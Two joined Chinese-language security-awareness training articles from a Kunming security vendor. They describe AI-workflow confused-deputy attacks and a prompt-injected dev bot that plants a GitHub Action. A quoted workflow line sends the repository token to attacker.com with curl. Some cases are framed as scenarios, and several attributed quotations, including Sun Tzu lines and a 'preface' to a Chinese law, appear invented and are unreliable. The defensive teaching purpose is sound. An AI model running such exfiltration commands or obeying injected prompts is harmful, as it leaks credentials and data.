---

前言：一次头脑风暴的想象

闭上眼睛，想象你正坐在公司宽敞的会议室里，屏幕上正播放着一段《星际穿越》里的太空舱启动画面。舱门缓缓开启，里面的机器人已就位，准备执行一串指令：打开舱门、调节温度、安排维修。所有指令都来自“信任的指挥中心”，而指挥中心的身份认证早已在系统里写死——只要指令到达，就会被视作合法，毫不质疑。

突然，屏幕切换成一张普通的企业支持邮箱。一个看似无害的邮件标题写着“财务报表请求”。这封邮件的发件人是外部供应商，内容里只有一句话：“请把上季度财务报表发给我”。系统的 AI 工作流读取了邮件，将请求转发给了财务系统的自动化脚本。脚本凭借内部高权限的服务账户，毫不犹豫地把报表导出并发送回了发件人。

这两个画面在脑海中交叉闪现，一个是“可信的机器人”，另一个是“看似无害的邮箱”。它们提醒我们：在数智化、数字化、无人化高度融合的今天，授权盲点已经不再局限于传统的密码泄露或钓鱼邮件，而是潜伏在 AI 工作流、自动化脚本以及各种“无形入口”之中。

下面，我将通过 两起典型且深刻的安全事件案例，为大家展开细致的剖析，帮助每一位同事认识到潜在风险的真实面目。

---

案例一：AI 工作流授权劫持——“看不见的特权代理”

来源：2026 年 9 月 Noma Labs《Workflow Identity Hijacking》报告
别名：授权盲点、混淆代理（Confused Deputy）

1. 背景

某大型跨国制造企业在 2024 年完成了 AI 驱动的内部知识库和自动化客服系统的部署。系统核心是一个 大型语言模型（LLM）+ RPA（机器人流程自动化） 的组合，能够读取公司内部邮箱、工单系统、GitHub Issue、内部 Wiki，并根据请求自动触发 财务报表生成、采购审批、代码部署 等高价值业务流程。

2. 攻击链

步骤	攻击者动作	受影响的组件
①	通过公开的技术支持邮箱发送一封普通的“财务报表请求”邮件	邮箱（未授权入口）
②	LLM 读取邮件内容，判断为合法的内部请求	AI 解析层
③	工作流引擎调用内部财务系统的 服务账号（拥有全权限）执行报表导出	RPA 执行层
④	报表经由邮件自动回复功能发送回攻击者提供的外部地址	邮件发送模块
⑤	攻击者获取了公司内部的财务敏感数据	数据泄露

整个链路中，唯一的安全检查是 LLM 对输入进行“友好性”和“合法性”的文本过滤，而没有任何一步对请求者的身份进行重新鉴权。系统默认“所有通过工作流触发的请求，都由服务账号执行”，于是攻击者借助 “看似无害的入口” 完成了特权操作。

3. 发现与响应

• 发现：安全运营中心（SOC）在例行审计中注意到财务系统的审计日志出现了异常的“导出报表”操作，执行账户为 “FinanceServiceAccount”，但实际发起的请求来源是外部邮件服务器的 IP。
• 响应：立即冻结了该服务账号，切换至多因素认证的特权访问管理（PAM）系统；对所有 AI 工作流统一加入 “用户上下文传播（User Context Propagation）” 模块，要求在每一步执行前校验发起者的权限。

4. 教训与启示

1. 身份与权限的解耦是致命的：工作流的执行者身份不应固定为高权限服务账号，而应动态映射至请求者的真实身份。
2. 未授权入口的危害被低估：支持邮箱、GitHub Issue、内部聊天机器人等都可能成为 “门禁漏洞” 的入口。
3. 日志关联分析是唯一的警示灯：若没有对 “请求者 ↔︎ 执行者 ↔︎ 资源” 进行横向关联，攻击行为可以轻易混入正常的自动化日志中。
4. 防御思路从模型层迁移到系统层：仅仅对 LLM 做输入过滤远远不够，必须在 应用层、基础设施层 引入 显式的访问控制（ACL） 与 运行时授权（runtime authorization）。

---

案例二：伪装的邮件钓鱼 + 自动化 CI/CD 流水线——“机器人被黑客劫持”

来源：2025 年 11 月 GitHub 安全报告《Supply Chain Attack via Compromised AI Bot》
别名：CI/CD 供应链攻击、机器人黑客

1. 背景

一家金融科技公司在 2025 年推出了一款基于 ChatGPT 的内部研发助手（InternalDevBot），帮助工程师快速生成代码片段、编写单元测试、甚至提交 Pull Request（PR）。该机器人拥有 GitHub Actions 的写权限，可直接触发 CI/CD 流水线进行自动构建、部署。

2. 攻击链

步骤	攻击者动作	受影响的组件
①	攻击者先通过钓鱼邮件向公司技术支持人员发送一封伪装成 安全审计报告 的邮件，附件为一段经过精心调教的 LLM Prompt（看似无害）	支持邮箱
②	技术人员在内部聊天群里把附件内容粘贴到 InternalDevBot 中，请求生成 “安全审计报告”	AI 助手
③	Bot 在生成报告的同时，在 Prompt 中植入了一个恶意的 GitHub Action 工作流，该工作流会在 CI 运行时向外部泄露 GitHub 访问令牌	GitHub Action
④	CI 运行结束后，攻击者获得了具有 repo、admin:org 权限的令牌，随后利用该令牌在数分钟内下载了所有源码、密钥库、Docker 镜像	代码库、镜像仓库
⑤	攻击者在公司的生产环境中植入后门，随后持续窃取用户交易数据	生产系统

值得注意的是，攻击者并未直接入侵内部网络，而是利用了 AI 助手的“可信度”，把恶意指令隐藏在正常的业务请求中。标准的安全检测（如静态代码分析、常规的钓鱼防护）都没有将此类攻击列入监控范围。

3. 发现与响应

• 发现：安全审计团队在一次代码审计中发现了一个异常的 GitHub Action 工作流文件，该文件名为 audit_report.yml，但工作流内容竟然包含了 curl https://attacker.com/steal?token=${{ secrets.GITHUB_TOKEN }} 的调用。
• 响应：立即撤销所有受影响的 GitHub 令牌，强制所有开发者重新进行 SSH Key 与 个人访问令牌（PAT） 的双因素认证；对 InternalDevBot 实施 Prompt 安全审计，禁止在同一会话中同时生成 业务代码 与 CI/CD 配置；对 CI/CD 流水线加入 行为白名单（whitelisting），仅允许经过审计的 Action 运行。

4. 教训与启示

1. AI 助手的“易用”不等于“安全”：在让机器人承担高权限操作时，必须对其输入进行 结构化审计，防止恶意 Prompt 注入。
2. CI/CD 供应链的防线要更细致：每一次自动化部署都应经过 零信任（Zero Trust） 检查，包括 工作流签名验证 与 运行时行为监控。
3. 多层防护缺一不可：仅靠邮件网关或代码审计无法捕捉到 跨系统、跨层面的攻击链，需要 统一的安全情报平台 将 AI、CI、邮件、身份系统的日志打通关联。
4. 安全培训的及时性：若技术人员在收到钓鱼邮件后能够辨别异常 Prompt，或了解 AI 生成代码的安全风险，袭击的成功率将大幅下降。

---

3. 数智化、数字化、无人化背景下的安全新趋势

3.1 AI 与自动化已渗透至业务每一层

• 智能客服、AI 助手：从前端的客户交互到后台的业务审批，AI 已经成为 “看不见的手”。
• 机器人流程自动化（RPA）：代替人工完成 凭证审批、报销、库存管理，但若 RPA 运行在 高特权服务账号 上，一旦被触发即等同于 “横扫全局的剑”。
• 无人仓库、无人车队：依赖 边缘计算 与 IoT 传感器，而每一个传感器都可能成为 横向移动的跳板。

3.2 数字身份的碎片化

在传统的 IT 环境中，一名员工只会拥有 AD（Active Directory） 或 LDAP 的单一身份。进入数智化时代后，同一用户可能拥有：

• 企业邮箱身份（用于邮件、文档）
• AI 助手 Token（用于 Prompt 交互）
• RPA 机器人凭证（用于流程触发）
• IoT 设备证书（用于边缘节点交互）

这些碎片化的身份如果 未统一管理，就会导致 “身份孤岛”，攻击者只需要攻破其中任意一个入口，即可获得 横向横跨多个系统的特权。

3.3 零信任（Zero Trust）是唯一的解药

“不信任任何人，也不信任任何事”，这是古代兵法《孙子兵法·计篇》里“疑兵”思想的现代演绎。
在数字化转型的浪潮中，零信任不再是口号，而是 每一次 API 调用、每一次工作流触发、每一次 AI Prompt 交互 必须进行 身份校验、上下文评估、最小权限授权 的强制性技术框架。

---

4. 呼吁：让每一位同事成为安全的“守护者”

4.1 培训的使命与价值

• 目标：让全员了解 AI 工作流授权盲点、跨系统身份碎片化 与 零信任实施要点。
• 形式：线上微课（30 分钟）+ 现场实战演练（1 小时）+ 案例研讨会（1.5 小时）。
• 内容概览
  1. AI 生成内容的安全审计：Prompt 注入、输出过滤、上下文绑定。
  2. 工作流授权设计：如何在 RPA、LLM、CI/CD 中实现 用户上下文传播；最小特权原则的落地。
  3. 身份统一管理：从 AD、SSO、IAM 到 AI Token、IoT 证书的统一治理。
  4. 日志关联与行为分析：利用 SIEM、SOAR 打通邮件、工作流、代码库的安全情报。
  5. 红蓝对抗演练：模拟“授权劫持”与“供应链攻击”，培养 快速发现、快速响应 的能力。

4.2 参与方式

日期	时间	主题	形式
2026‑10‑05	09:00‑09:30	AI Prompt 安全微课	线上（Zoom）
2026‑10‑07	14:00‑15:30	工作流授权实战演练	现场（二楼培训室）
2026‑10‑12	10:00‑11:30	供应链攻击案例研讨	线上+现场混合
2026‑10‑16	13:00‑14:30	零信任落地工作坊	现场（四楼会议厅）

“千里之行，始于足下”。让我们从 一堂课、一场演练 开始，筑起企业信息安全的坚不可摧的壁垒。

4.3 你的行动指南

1. 主动报名：在公司内部学习平台（LearningHub）搜索 “信息安全意识培训”，完成报名并下载学习手册。
2. 提前预习：阅读《Noma Labs Workflow Identity Hijacking》以及《GitHub Supply Chain Attack》报告的摘要，思考其中的 “授权盲点”。
3. 实战演练：在实验环境中自行构建一个简易的 AI 工作流（如利用 ChatGPT API 调用内部脚本），尝试加入 用户上下文检查，验证系统是否能够阻止未授权请求。
4. 分享经验：通过公司内部社交平台（WorkChat）投递 “安全实践小贴士”，每月评选出 最佳安全倡议奖，获奖者将获得 公司定制的安全徽章 与 培训积分。

---

5. 结语：让安全成为创新的基石

古语云：“防微杜渐，祸在不测”。在 AI 与自动化日益渗透的今天，每一个看似微不足道的入口，都有可能成为攻击者的潜伏点。只有把 身份、权限、审计 这三座大山搬到每一次业务触发的前端，才能让 特权不再盲目、让 自动化不再是黑客的加速器。

信息安全不是 IT 部门的“独角戏”，它需要每一位员工的 主动参与、细致思考和持续学习。让我们在即将开启的培训中，破除认知盲区、强化技术防线，共同把企业的数字化转型之路走得更稳、更快、更安全。

未来已来，安全先行——让我们携手共筑数字时代的钢铁长城！

信息安全意识培训

我们提供包括网络安全、物理安全及人员培训等多方面的信息保护服务。昆明亭长朗然科技有限公司的专业团队将为您的企业打造个性化的安全解决方案，欢迎咨询我们如何提升整体防护能力。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898

---

一、脑洞大开：两桩典型信息安全事件的深度剖析

在信息技术高速迭代的今天，一次微小的操作失误，也可能酿成惊天动地的安全事故。下面，用两个极富戏剧性的案例，帮助大家在“脑洞”和“现实”之间搭建起对风险的感知桥梁。

案例一：“Relay 自动化工作流泄密案”

情景设定：
2026 年 7 月，全球最大的工作流自动化平台 Relay（其核心业务类似 Zapier）宣布被 Google 收购，随后关闭服务。就在用户被告知将在 9 月 14 日彻底停服前的最后一个月，数千名企业用户仍在使用其免费版链接 Gmail、Slack、Google Sheet 等业务关键系统。某大型制造企业的财务部门，一名新人因未及时迁移数据，将 “付款审批工作流” 的触发器仍留在未受控的 Relay 平台上。该工作流配置为“一旦接收到含关键字‘付款’的邮件，即自动将邮件内容与附件转发给财务主管，并通过 Slack 机器人发送付款指令”。

安全失误：
1. 未及时清理第三方凭证：该工作流中使用了长效的 OAuth 令牌，未在平台关闭前撤销。
2. 缺乏跨系统审计：企业内部缺乏对跨平台自动化流程的安全审计，导致财务指令被外部 “Relay” 环境继续执行。
3. 社交工程：攻击者通过钓鱼邮件，将自己伪装成 Relay 官方邮件，诱导财务人员重新授权，进一步获取企业内部 Google Workspace 权限。

后果：
– 仅在 48 小时内，攻击者成功发起了三笔金额共计 180 万美元的跨境转账，均因自动化工作流的 “无感知” 执行而未被及时发现。
– 事后审计显示，攻击链的关键节点是 “OAuth 长效令牌未失效” 与 “自动化工作流缺乏二次确认”。

教训提炼：
1. 跨系统凭证管理必须闭环：任何第三方自动化工具的接入，都应在工具退役前彻底撤销相应权限。
2. 关键业务指令不可全自动化：涉及财务、审计、生产控制等关键指令，必须设置人工二次确认或多因素认证。
3. 供应链安全审计不可缺失：对外部 SaaS 平台的使用，需要定期进行安全评估与合规审计。

引用：正如《孙子兵法·计篇》所言，“兵贵神速，亦贵防备”。技术的快速迭代带来了便利，却更需要我们在速度之上筑起防备的城墙。

---

案例二：“Chrome AI 诱骗钓鱼案”

情景设定：
2026 年 8 月，Google 公布将 AI 深度融合进 Chrome 浏览器的工作流功能，计划让用户可以通过 “AI 代理” 自动完成如填表、生成邮件等任务。与此同时，一家国内金融机构的员工在使用 Chrome 时，浏览器弹出一条 “AI 助手” 推荐的 “快速填报贷款申请表格”，声称可“一键完成审批”。该页面实际是一个伪装的钓鱼站点，利用 Chrome 内置的 AI 模型对用户输入的个人信息进行即时解析并上传至攻击者的 C2 服务器。

安全失误：
1. 对浏览器插件/内部 AI 功能的信任度过高：用户误以为所有 AI 交互均由官方托管，忽视了安全提示。
2. 缺乏 URL 真实性校验：员工未核对弹窗所指向的 HTTPS 证书与官方域名的匹配情况，直接点击进入。
3. 企业未开启浏览器安全策略：企业未通过管理平台统一配置 Chrome 的安全策略（如禁止自定义 AI 插件、强制安全浏览模式）。

后果：
– 攻击者在 30 分钟内收集到 120 份包含身份证号、银行账户的真实信息，随后对该金融机构的内部系统实施了凭证重放攻击。
– 因未对 AI 生成内容进行安全审计，导致内部风险模型误判，大量可疑交易在 48 小时内未被拦截，直接造成约 400 万人民币的资产损失。

教训提炼：
1. 浏览器即平台，安全同样需要管控：企业应对 Chrome 等浏览器的扩展和内置 AI 功能进行白名单管理。
2. AI 生成内容不等同于安全内容：任何 AI 辅助的自动化操作，都必须经过相应的安全审计流程。
3. 安全提醒不可视作“繁琐”：即使是弹窗提醒，也应当被视作安全防线的一环，切勿因便利而轻易忽视。

引用：古语云，“防微杜渐，防患于未然”。在 AI 成为工作日常的当下，细微的安全失误可能迅速放大为组织级别的风险。

---

二、数字化、具身智能化、智能化融合的安全新格局

1. 何谓“具身智能化”？

“具身智能化”（Embodied AI）是指把人工智能算法嵌入到真实物理环境中，使机器能够感知、学习并主动与人类协作。例如：智能机器人在生产线进行自适应调度、AI 驱动的无人车在物流园区实现自主搬运、乃至在办公场景下的 “AI 助手” 通过语音、手势与用户交互。

2. 核心风险点概览

维度	典型风险	可能后果
数据	传感器数据泄露、AI 训练数据被篡改	业务模型失效、隐私泄露
身份	零信任策略缺失、跨平台凭证滥用	账户被冒用、特权提升
执行	自动化工作流缺乏审计、AI 生成指令未验证	非法转账、系统破坏
平台	浏览器/IDE 插件供应链被植入后门	持续性攻击、信息窃取
治理	合规审计不完整、风险评估缺位	法规罚款、声誉受损

3. 安全的“融合防线”

1. 技术层：

   

   • 实施 零信任 架构；
   • 对 AI 模型研发 引入 “模型安全审计”，包括对抗样本测试、数据完整性校验；
   • 在 浏览器/IDE 中启用 内容安全策略（CSP） 与 子资源完整性（SRI）。
2. 流程层：
   • 建立 跨部门安全评审（IT、业务、法务、合规）制度；
   • 对 自动化工作流 设置 二次确认 与 审批日志；
   • 强化 供应链安全，对第三方 SaaS 与插件进行 周期性渗透测试。
3. 文化层：
   • 把 信息安全意识 融入每日例会、项目审查；
   • 通过 情景演练 与 红蓝对抗，让员工体会真实攻击路径；
   • 激励 安全创新，鼓励员工提出 安全改进建议 并予以奖励。

4. 从“Google 合并 Relay”看行业趋势

• 平台化：Google 通过收购 Relay，将工作流自动化深度整合进 Chrome，意味着 浏览器将成为企业业务流程的前线入口。
• 统一身份：未来 Chrome 与 Google Workspace 的身份同步将更紧密， 单点登录（SSO） 与 多因素认证（MFA） 将成为默认配置。
• AI 赋能：AI 将在 浏览器内置的助手 中提供内容生成、智能填表等功能，这对 AI 输出的可信度 与 内容审计 提出了前所未有的挑战。

企业必须 提早布局：提前评估 AI 与自动化对现有安全框架的冲击，制定 “AI+自动化安全” 的专属治理手册。

---

三、信息安全意识培训——从“知”到“行”的完整路径

1. 培训目标

目标	具体描述
认知提升	让每位职工了解最新的威胁趋势（如 AI 诱骗、工作流凭证泄露）以及自身岗位可能面临的风险点。
技能赋能	掌握 安全认证、凭证管理、安全审计等实用技能；能够在日常操作中辨别钓鱼、恶意插件、异常自动化指令。
行为固化	通过演练与案例复盘，将安全行为内化为工作习惯，实现 “安全思维嵌入工作流”。

2. 培训结构

1. 概念篇（2 小时）：
   • 信息安全基本概念、零信任模型、AI 生成内容的风险。
   • 案例回顾（包括本文开篇的两大案例）。
2. 技能篇（3 小时）：
   • 凭证安全：OAuth、API 密钥的最佳实践；如何使用 1Password / YubiKey。
   • 安全浏览：Chrome 安全配置、插件白名单、AI 助手使用规范。
   • 自动化审计：Zapier/Relay 类工作流的审计日志、二次确认机制。
3. 实战篇（4 小时）：
   • 钓鱼模拟：通过内部平台向员工推送模拟钓鱼邮件，现场演示辨识技巧。
   • 红队渗透演练：模拟攻击者利用工作流凭证进行渗透，参与者需在规定时间内发现并阻断。
   • AI 诱骗演练：在安全实验环境中让 AI 生成的伪装表单进行对抗，感受 AI 攻防的微妙差距。
4. 反思篇（1 小时）：
   • 小组讨论：本部门的安全痛点与改进措施。
   • 生成 《部门安全升级行动计划》，并提交至信息安全治理委员会。

3. 参与方式与激励机制

• 报名渠道：公司内部协作平台（钉钉/企业微信）统一发布报名链接；每位报名者将获得 “安全先锋” 电子徽章。
• 培训时间：2026 年 9 月 5 日至 9 月 12 日，共计 10 场分批次直播，确保业务不中断。
• 绩效加分：完成全部培训并通过考核的员工，可在 年度绩效评估 中获得 5% 加分；优秀学员将入选 “安全创新团队”，获得公司内部创新基金支持。
• 抽奖福利：培训结束后，将抽取 20 名幸运员工送出 硬件安全钥匙（YubiKey） 与 防偷窥屏。

4. 培训理念的文化宣导

“安全不是 IT 的事，而是每个人的事。”
—— 参考自《中华人民共和国产品质量法》序言的精神。

在数字化浪潮中，安全意识 如同“防火墙的砖块”，只有每块砖都坚固，墙才不倒。我们期待全体同仁在本次培训后，能够把安全理念从 “纸上谈兵” 转化为 “指尖操作’’，让公司在拥抱 AI、自动化、云原生的同时，始终保持 “铁壁铜墙” 的防御姿态。

---

四、行动呼吁：从现在起，与你一起筑起安全防线

• 立即检查：打开 Chrome 设置 → “隐私与安全” → 确认已开启 “安全浏览” 与 “恶意站点防护”。
• 清理凭证：登录企业的 Identity & Access Management（IAM）平台，列出所有第三方 OAuth 授权，逐一核对是否仍在使用。
• 演练预热：关注公司内部邮件，留意即将推送的 “钓鱼邮件模拟” 预告，提前做好心理准备。

信息安全不是一场短跑，而是一场 马拉松。只有全员参与、持续学习，才能在技术迭代的浪潮中，始终保持“安全在先、创新相随”。让我们在即将开启的培训中，携手“防微杜渐”，共建 “数字化时代的安全长城”！

---

关键词

昆明亭长朗然科技有限公司专注于打造高效透明的信息保密流程。通过我们的服务，您可以轻松识别和管理潜在的数据泄露风险。对此感兴趣的客户请联系我们了解详细方案。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898